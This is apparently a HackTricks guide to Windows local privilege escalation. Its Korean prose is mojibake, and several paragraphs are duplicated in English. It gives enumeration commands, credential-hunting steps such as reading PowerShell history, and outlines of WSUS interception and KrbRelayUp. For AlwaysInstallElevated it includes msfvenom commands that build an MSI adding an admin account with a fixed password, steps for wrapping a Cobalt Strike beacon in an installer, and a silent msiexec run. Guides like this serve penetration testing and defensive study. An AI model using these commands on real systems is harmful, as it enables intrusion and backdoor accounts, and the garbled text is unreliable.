Windows Local Privilege Escalation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Windows local privilege escalation vectors๋ฅผ ์ฐพ๊ธฐ ์ํ ์ต๊ณ ์ ๋๊ตฌ: WinPEAS
Initial Windows Theory
Access Tokens
Windows Access Tokens๊ฐ ๋ฌด์์ธ์ง ๋ชจ๋ฅธ๋ค๋ฉด, ๊ณ์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ผ์ธ์:
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEs์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
Integrity Levels
Windows์ integrity levels๊ฐ ๋ฌด์์ธ์ง ๋ชจ๋ฅธ๋ค๋ฉด, ๊ณ์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ผ์ธ์:
Windows Security Controls
Windows์๋ ์์คํ ์ด๊ฑฐ๋ฅผ ๋ฐฉํดํ๊ฑฐ๋ ์คํ ํ์ผ ์คํ์ ๋ง๊ฑฐ๋ ์ฌ์ง์ด ํ๋์ ํ์งํ ์ ์๋ ์ฌ๋ฌ ์์๊ฐ ์์ต๋๋ค. privilege escalation ์ด๊ฑฐ๋ฅผ ์์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ๊ณ ์ด๋ฌํ ๋ชจ๋ ๋ฐฉ์ด ๋ฉ์ปค๋์ฆ์ ์ด๊ฑฐํด์ผ ํฉ๋๋ค:
System Info
Version info enumeration
Windows ๋ฒ์ ์ ์๋ ค์ง ์ทจ์ฝ์ ์ด ์๋์ง ํ์ธํ์ธ์ (์ ์ฉ๋ ํจ์น๋ ํจ๊ป ํ์ธํ์ธ์).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
๋ฒ์ ์ต์คํ๋ก์
์ด site๋ Microsoft ๋ณด์ ์ทจ์ฝ์ ์ ๋ํ ์์ธํ ์ ๋ณด๋ฅผ ๊ฒ์ํ ๋ ์ ์ฉํฉ๋๋ค. ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค์๋ 4,700๊ฐ๊ฐ ๋๋ ๋ณด์ ์ทจ์ฝ์ ์ด ๋ฑ๋ก๋์ด ์์ผ๋ฉฐ, ์ด๋ Windows ํ๊ฒฝ์ด ์ ๊ณตํ๋ ๊ฑฐ๋ํ ๊ณต๊ฒฉ ํ๋ฉด์ ๋ณด์ฌ์ค๋๋ค.
์์คํ ์์
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
์์คํ ์ ๋ณด๋ก ๋ก์ปฌ์์
์ต์คํ๋ก์ Github ๋ฆฌํฌ์งํ ๋ฆฌ:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
ํ๊ฒฝ
env variables์ ์๊ฒฉ์ฆ๋ช /๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ์ ์ฅ๋์ด ์๋์?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell ๊ธฐ๋ก
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell ํธ๋์คํฌ๋ฆฝํธ ํ์ผ
์ด ๊ธฐ๋ฅ์ ์ผ๋ ๋ฐฉ๋ฒ์ ๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค: https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
PowerShell ํ์ดํ๋ผ์ธ ์คํ์ ์ธ๋ถ ์ ๋ณด๊ฐ ๊ธฐ๋ก๋๋ฉฐ, ์คํ๋ ๋ช ๋ น, ๋ช ๋ น ํธ์ถ ๋ฐ ์คํฌ๋ฆฝํธ์ ์ผ๋ถ๊ฐ ํฌํจ๋ฉ๋๋ค. ๋ค๋ง ์ ์ฒด ์คํ ์ธ๋ถ ์ ๋ณด์ ์ถ๋ ฅ ๊ฒฐ๊ณผ๋ ๋ชจ๋ ์บก์ฒ๋์ง ์์ ์ ์์ต๋๋ค.
์ด๋ฅผ ํ์ฑํํ๋ ค๋ฉด ๋ฌธ์์ โTranscript filesโ ์น์ ์ ์๋ ์ง์นจ์ ๋ฐ๋ฅด๊ณ , โModule Loggingโ ๋์ **โPowershell Transcriptionโ**์ ์ ํํ์ธ์.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Powershell ๋ก๊ทธ์ ๋ง์ง๋ง 15๊ฐ ์ด๋ฒคํธ๋ฅผ ๋ณด๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
์คํฌ๋ฆฝํธ ์คํ์ ๋ชจ๋ ํ๋๊ณผ ์ ์ฒด ์ฝํ ์ธ ๊ธฐ๋ก์ด ์บก์ฒ๋์ด, ์ฝ๋์ ๊ฐ ๋ธ๋ก์ด ์คํ๋๋ ์๊ฐ๋ง๋ค ๋ฌธ์ํ๋ฉ๋๋ค. ์ด ๊ณผ์ ์ ๊ฐ ํ๋์ ๋ํ ํฌ๊ด์ ์ธ ๊ฐ์ฌ ์ถ์ ์ ๋ณด์กดํ์ฌ ํฌ๋ ์ ๋ฐ ์ ์ฑ ํ์ ๋ถ์์ ์ ์ฉํฉ๋๋ค. ์คํ ์์ ์ ๋ชจ๋ ํ๋์ ๋ฌธ์ํํจ์ผ๋ก์จ ํ๋ก์ธ์ค์ ๋ํ ์์ธํ ์ธ์ฌ์ดํธ๋ฅผ ์ ๊ณตํฉ๋๋ค.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block์ ๋ํ ๋ก๊น
์ด๋ฒคํธ๋ Windows ์ด๋ฒคํธ ๋ทฐ์ด์ ๋ค์ ๊ฒฝ๋ก์์ ์ฐพ์ ์ ์์ต๋๋ค: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
์ต๊ทผ 20๊ฐ์ ์ด๋ฒคํธ๋ฅผ ๋ณด๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
์ธํฐ๋ท ์ค์
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
๋๋ผ์ด๋ธ
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
์ ๋ฐ์ดํธ๊ฐ httpS๊ฐ ์๋๋ผ http๋ก ์์ฒญ๋๋ ๊ฒฝ์ฐ ์์คํ ์ ์นจํดํ ์ ์์ต๋๋ค.
๋ค์ ๋ช ๋ น์ cmd์์ ์คํํ์ฌ ๋คํธ์ํฌ๊ฐ non-SSL WSUS ์ ๋ฐ์ดํธ๋ฅผ ์ฌ์ฉํ๋์ง ํ์ธํฉ๋๋ค:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
๋๋ PowerShell์์ ๋ค์๊ณผ ๊ฐ์ด:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
๋ค์๊ณผ ๊ฐ์ ์๋ต์ ๋ฐ๋ ๊ฒฝ์ฐ:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.
๊ทธ๋ฆฌ๊ณ HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ๋๋ Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" ์ ๊ฐ์ด 1์ด๋ผ๋ฉด.
Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.
๊ทธ๋ฌ๋ฉด, ์ ์ฉ ๊ฐ๋ฅํฉ๋๋ค. ๋ง์ง๋ง ๋ ์ง์คํธ๋ฆฌ ๊ฐ์ด 0์ด๋ฉด WSUS ํญ๋ชฉ์ ๋ฌด์๋ฉ๋๋ค.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject โfakeโ updates into non-SSL WSUS traffic.
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค: Wsuxploit, pyWSUS - ์ด๋ค์ MiTM๋ก ๋ฌด๊ธฐํ๋ ์ต์คํ๋ก์ ์คํฌ๋ฆฝํธ๋ก non-SSL WSUS ํธ๋ํฝ์ โ๊ฐ์งโ ์ ๋ฐ์ดํธ๋ฅผ ์ฃผ์ ํฉ๋๋ค.
Read the research here:
์ฐ๊ตฌ๋ ๋ค์์์ ํ์ธํ์ธ์:
WSUS CVE-2020-1013
Read the complete report here.
์ ์ฒด ๋ณด๊ณ ์๋ ์ฌ๊ธฐ์ ์ฝ์ด๋ณด์ธ์.
Basically, this is the flaw that this bug exploits:
๊ธฐ๋ณธ์ ์ผ๋ก ์ด ๋ฒ๊ทธ๊ฐ ์ ์ฉํ๋ ๊ฒฐํจ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorerโs settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
๋ก์ปฌ ์ฌ์ฉ์ ํ๋ก์๋ฅผ ์์ ํ ์ ์๋ ๊ถํ์ด ์๊ณ Windows Updates๊ฐ Internet Explorer ์ค์ ์ ๊ตฌ์ฑ๋ ํ๋ก์๋ฅผ ์ฌ์ฉํ๋ค๋ฉด, ์ฐ๋ฆฌ๋ ๋ก์ปฌ์์ PyWSUS๋ฅผ ์คํํด ์์ ์ ํธ๋ํฝ์ ๊ฐ๋ก์ฑ๊ณ ์์ฐ์์ ๊ถํ ์์น๋ ์ฌ์ฉ์๋ก์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
Furthermore, since the WSUS service uses the current userโs settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current userโs certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
๋ํ WSUS ์๋น์ค๋ ํ์ฌ ์ฌ์ฉ์์ ์ค์ ์ ์ฌ์ฉํ๋ฏ๋ก ํด๋น ์ฌ์ฉ์์ ์ธ์ฆ์ ์ ์ฅ์๋ ์ฌ์ฉํฉ๋๋ค. WSUS ํธ์คํธ๋ช ์ ๋ํ ์์ฒด ์๋ช ์ธ์ฆ์๋ฅผ ์์ฑํ์ฌ ์ด๋ฅผ ํ์ฌ ์ฌ์ฉ์์ ์ธ์ฆ์ ์ ์ฅ์์ ์ถ๊ฐํ๋ฉด HTTP ๋ฐ HTTPS WSUS ํธ๋ํฝ์ ๋ชจ๋ ๊ฐ๋ก์ฑ ์ ์์ต๋๋ค. WSUS๋ ์ธ์ฆ์์ ๋ํด trust-on-first-use ์ ํ์ ๊ฒ์ฆ์ ๊ตฌํํ๋ HSTS์ ์ ์ฌํ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉํ์ง ์์ต๋๋ค. ์ ์๋ ์ธ์ฆ์๊ฐ ์ฌ์ฉ์๊ฐ ์ ๋ขฐํ๊ณ ์ฌ๋ฐ๋ฅธ ํธ์คํธ๋ช ์ ํฌํจํ๋ฉด ์๋น์ค์์ ์ด๋ฅผ ์๋ฝํฉ๋๋ค.
You can exploit this vulnerability using the tool WSUSpicious (once itโs liberated).
์ด ์ทจ์ฝ์ ์ ๋๊ตฌ WSUSpicious (๊ณต๊ฐ๋๋ฉด)๋ฅผ ์ฌ์ฉํด ์ ์ฉํ ์ ์์ต๋๋ค.
Third-Party Auto-Updaters and Agent IPC (local privesc)
Third-Party Auto-Updaters and Agent IPC (local privesc)
Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain โ CVE-2025-0309) here:
๋ง์ ์ํฐํ๋ผ์ด์ฆ ์์ด์ ํธ๋ localhost IPC ์ธํฐํ์ด์ค์ ๊ถํ ์๋ ์ ๋ฐ์ดํธ ์ฑ๋์ ๋ ธ์ถํฉ๋๋ค. ๋ฑ๋ก(enrollment)์ด ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ ๋๋ ์ ์๊ณ ์ ๋ฐ์ดํธ ํ๋ก๊ทธ๋จ์ด ์ ์ฑ ๋ฃจํธ CA๋ ์ทจ์ฝํ ์๋ช ๊ฒ์ฆ์ ์ ๋ขฐํ๋ฉด, ๋ก์ปฌ ์ฌ์ฉ์๋ SYSTEM ์๋น์ค๊ฐ ์ค์นํ๋ ์ ์ฑ MSI๋ฅผ ์ ๋ฌํ ์ ์์ต๋๋ค. ์ผ๋ฐํ๋ ๊ธฐ๋ฒ(Netskope stAgentSvc ์ฒด์ธ ๊ธฐ๋ฐ โ CVE-2025-0309)์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
KrbRelayUp
KrbRelayUp
A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.
ํน์ ์กฐ๊ฑด์์ Windows domain ํ๊ฒฝ์๋ ๋ก์ปฌ ๊ถํ ์์น(local privilege escalation) ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค. ์ด๋ฌํ ์กฐ๊ฑด์๋ LDAP signing์ด ๊ฐ์ ๋์ง ์๋ ํ๊ฒฝ, ์ฌ์ฉ์๊ฐ **Resource-Based Constrained Delegation (RBCD)**๋ฅผ ๊ตฌ์ฑํ ์ ์๋ ์์ฒด ๊ถํ(self-rights)์ ๋ณด์ ํ ๊ฒฝ์ฐ, ๊ทธ๋ฆฌ๊ณ ์ฌ์ฉ์๊ฐ ๋๋ฉ์ธ ๋ด์ ์ปดํจํฐ๋ฅผ ์์ฑํ ์ ์๋ ๋ฅ๋ ฅ์ด ํฌํจ๋ฉ๋๋ค. ์ด ์๊ตฌ์ฌํญ๋ค์ ๊ธฐ๋ณธ ์ค์ ์ผ๋ก๋ ์ถฉ์กฑ๋๋ค๋ ์ ์ ์ ์ํด์ผ ํฉ๋๋ค.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
์ต์คํ๋ก์์ ๋ค์์์ ์ฐพ์ ์ ์์ต๋๋ค: https://github.com/Dec0ne/KrbRelayUp
For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
๊ณต๊ฒฉ ํ๋ฆ์ ๋ํ ์์ธํ ๋ด์ฉ์ ๋ค์์ ํ์ธํ์ธ์: https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
AlwaysInstallElevated
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.
์ด ๋ ๋ ์ง์คํธ๋ฆฌ ํญ๋ชฉ์ด ํ์ฑํ(๊ฐ์ด 0x1) ๋์ด ์์ผ๋ฉด, ๋ชจ๋ ๊ถํ ์์ค์ ์ฌ์ฉ์๊ฐ *.msi ํ์ผ์ NT AUTHORITY\SYSTEM ๊ถํ์ผ๋ก ์ค์น(์คํ) ํ ์ ์์ต๋๋ค.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
PowerUP
ํ์ฌ ๋๋ ํฐ๋ฆฌ ์์ ๊ถํ ์์น์ฉ Windows MSI ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ๋ ค๋ฉด power-up์ Write-UserAddMSI ๋ช
๋ น์ ์ฌ์ฉํ์ธ์. ์ด ์คํฌ๋ฆฝํธ๋ ์ฌ์ฉ์/๊ทธ๋ฃน ์ถ๊ฐ๋ฅผ ๋ฌป๋ ์ฌ์ ์ปดํ์ผ๋ MSI ์ค์น ํ๋ก๊ทธ๋จ์ ์ถ๋ ฅํฉ๋๋ค(๋ฐ๋ผ์ GIU ์ ๊ทผ ๊ถํ์ด ํ์ํฉ๋๋ค):
Write-UserAddMSI
์์ฑ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๊ธฐ๋ง ํ๋ฉด ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค.
MSI Wrapper
์ด ํํ ๋ฆฌ์ผ์ ์ฝ์ด MSI wrapper๋ฅผ ๋ง๋๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ์ธ์. ์ฐธ๊ณ ๋ก, .bat ํ์ผ์ ๋ํํ ์ ์์ผ๋ฉฐ, ๋จ์ง ๋ช ๋ น์ค์ ์คํํ๋ ค๋ ๊ฒฝ์ฐ์ ์ ํฉํฉ๋๋ค
Create MSI with WIX
Create MSI with Visual Studio
- Cobalt Strike ๋๋ Metasploit์ผ๋ก
C:\privesc\beacon.exe์ new Windows EXE TCP payload๋ฅผ ์์ฑํ์ธ์ - Visual Studio๋ฅผ ์ด๊ณ , Create a new project๋ฅผ ์ ํํ ๋ค ๊ฒ์ ์์์ โinstallerโ๋ฅผ ์ ๋ ฅํ์ธ์. Setup Wizard ํ๋ก์ ํธ๋ฅผ ์ ํํ๊ณ Next๋ฅผ ํด๋ฆญํ์ธ์.
- ํ๋ก์ ํธ ์ด๋ฆ์ ์: AlwaysPrivesc๋ก ์ง์ ํ๊ณ , ์์น๋ก **
C:\privesc**๋ฅผ ์ฌ์ฉํ์ธ์. place solution and project in the same directory๋ฅผ ์ ํํ๊ณ Create๋ฅผ ํด๋ฆญํ์ธ์. - ํฌํจํ ํ์ผ์ ์ ํํ๋ 4๋จ๊ณ ์ค 3๋จ๊ณ์ ๋๋ฌํ ๋๊น์ง Next๋ฅผ ๊ณ์ ํด๋ฆญํ์ธ์. Add๋ฅผ ํด๋ฆญํ๊ณ ๋ฐฉ๊ธ ์์ฑํ Beacon payload๋ฅผ ์ ํํ ๋ค์ Finish๋ฅผ ํด๋ฆญํ์ธ์.
- Solution Explorer์์ AlwaysPrivesc ํ๋ก์ ํธ๋ฅผ ์ ํํ๊ณ , Properties์์ TargetPlatform์ x86์์ x64๋ก ๋ณ๊ฒฝํ์ธ์.
- ์ค์น๋ ์ฑ์ ๋ ์ ๋นํ๊ฒ ๋ณด์ด๊ฒ ํ๊ธฐ ์ํด Author, Manufacturer ๊ฐ์ ๋ค๋ฅธ ์์ฑ๋ค๋ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
- ํ๋ก์ ํธ๋ฅผ ์ฐํด๋ฆญํ๊ณ View > Custom Actions๋ฅผ ์ ํํ์ธ์.
- Install์ ์ฐํด๋ฆญํ๊ณ Add Custom Action์ ์ ํํ์ธ์.
- Application Folder๋ฅผ ๋๋ธํด๋ฆญํ๊ณ , beacon.exe ํ์ผ์ ์ ํํ ๋ค์ OK๋ฅผ ํด๋ฆญํ์ธ์. ์ด๋ ๊ฒ ํ๋ฉด ์ธ์คํจ๋ฌ๊ฐ ์คํ๋๋ฉด ์ฆ์ beacon payload๊ฐ ์คํ๋ฉ๋๋ค.
- Custom Action Properties์์ Run64Bit๋ฅผ True๋ก ๋ณ๊ฒฝํ์ธ์.
- ๋ง์ง๋ง์ผ๋ก ๋น๋ํ์ธ์.
- ๊ฒฝ๊ณ
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'๊ฐ ํ์๋๋ฉด ํ๋ซํผ์ x64๋ก ์ค์ ํ๋์ง ํ์ธํ์ธ์.
MSI Installation
์
์ฑ .msi ํ์ผ์ ์ค์น๋ฅผ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์คํํ๋ ค๋ฉด:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค: exploit/windows/local/always_install_elevated
์ํฐ๋ฐ์ด๋ฌ์ค ๋ฐ ํ์ง๊ธฐ
๊ฐ์ฌ ์ค์
์ด ์ค์ ์ ์ด๋ค ํญ๋ชฉ์ด ๋ก๊ทธ์ ๊ธฐ๋ก๋๋์ง ๊ฒฐ์ ํ๋ฏ๋ก ์ฃผ์ํด์ผ ํฉ๋๋ค.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding๋ ๋ก๊ทธ๊ฐ ์ด๋๋ก ์ ์ก๋๋์ง ์์๋ณด๋ ๊ฒ์ด ํฅ๋ฏธ๋กญ๋ค
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS๋ ๋ก์ปฌ Administrator ์ํธ์ ๊ด๋ฆฌ๋ฅผ ์ํด ์ค๊ณ๋์์ผ๋ฉฐ, ๋๋ฉ์ธ์ ๊ฐ์ ๋ ์ปดํจํฐ์์ ๊ฐ ์ํธ๊ฐ ๊ณ ์ ํ๊ณ ๋ฌด์์์ด๋ฉฐ ์ ๊ธฐ์ ์ผ๋ก ๊ฐฑ์ ๋๋๋ก ๋ณด์ฅํฉ๋๋ค. ์ด๋ฌํ ์ํธ๋ Active Directory ๋ด์ ์์ ํ๊ฒ ์ ์ฅ๋๋ฉฐ, ACL์ ํตํด ์ถฉ๋ถํ ๊ถํ์ด ๋ถ์ฌ๋ ์ฌ์ฉ์๋ง์ด ๋ก์ปฌ ๊ด๋ฆฌ์ ์ํธ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
WDigest
ํ์ฑํ๋ ๊ฒฝ์ฐ plain-text passwords๋ LSASS (Local Security Authority Subsystem Service)์ ์ ์ฅ๋ฉ๋๋ค.\
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1๋ถํฐ Microsoft๋ Local Security Authority (LSA)์ ๋ํด ํฅ์๋ ๋ณดํธ๋ฅผ ๋์
ํ์ฌ, ์ ๋ขฐ๋์ง ์์ ํ๋ก์ธ์ค๊ฐ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ฝ์ผ๋ ค๋ ์๋๋ ์ฝ๋๋ฅผ ์ฃผ์
ํ๋ ค๋ ์๋๋ฅผ ์ฐจ๋จํจ์ผ๋ก์จ ์์คํ
๋ณด์์ ๊ฐํํ์ต๋๋ค.\
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard๋ Windows 10์ ๋์ ๋์์ต๋๋ค. ์ด ๊ธฐ๋ฅ์ ๋ชฉ์ ์ ์ฅ์น์ ์ ์ฅ๋ credentials๋ฅผ pass-the-hash ๊ณต๊ฒฉ๊ณผ ๊ฐ์ ์ํ์ผ๋ก๋ถํฐ ๋ณดํธํ๋ ๊ฒ์ ๋๋ค.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials๋ Local Security Authority (LSA)์ ์ํด ์ธ์ฆ๋๋ฉฐ ์ด์ ์ฒด์ ๊ตฌ์ฑ ์์์ ์ํด ์ฌ์ฉ๋ฉ๋๋ค. ์ฌ์ฉ์์ ๋ก๊ทธ์จ ๋ฐ์ดํฐ๊ฐ ๋ฑ๋ก๋ security package์ ์ํด ์ธ์ฆ๋๋ฉด, ํด๋น ์ฌ์ฉ์์ ๋ํ domain credentials๊ฐ ์ผ๋ฐ์ ์ผ๋ก ์ค์ ๋ฉ๋๋ค.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน
์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน ์ด๊ฑฐ
์์๋ ๊ทธ๋ฃน ์ค ๊ถํ์ด ํฅ๋ฏธ๋ก์ด ๊ทธ๋ฃน์ด ์๋์ง ํ์ธํ์ธ์.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
ํน๊ถ ๊ทธ๋ฃน
๋ง์ฝ ๋น์ ์ด ์ด๋ค ํน๊ถ ๊ทธ๋ฃน์ ์ํด ์๋ค๋ฉด ๊ถํ ์์น์ด ๊ฐ๋ฅํ ์ ์์ต๋๋ค. ์ฌ๊ธฐ์์ ํน๊ถ ๊ทธ๋ฃน๊ณผ ์ด๋ฅผ ์ ์ฉํด ๊ถํ์ ์์น์ํค๋ ๋ฐฉ๋ฒ์ ์์๋ณด์ธ์:
Token manipulation
